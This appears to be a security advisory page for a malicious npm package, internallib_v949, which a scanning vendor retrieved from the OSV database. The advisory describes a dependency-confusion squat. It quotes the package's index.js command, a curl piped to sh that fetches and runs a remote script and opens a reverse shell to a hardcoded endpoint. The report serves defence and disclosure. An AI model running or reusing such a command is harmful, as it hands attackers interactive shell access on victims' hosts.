Logo
npm

internallib_v949@1.0.3

Vulnerability report · Last retrieved from osv.dev September 19, 2026 at 3:41 AM UTC

Malicious

OSV ID

MAL-2026-16294

Ecosystem

npm

Summary

index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library.

Source: amazon-inspector (16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9)

Protect your entire dependency tree

Scan your lock files automatically on every PR. Block malicious packages before they reach production.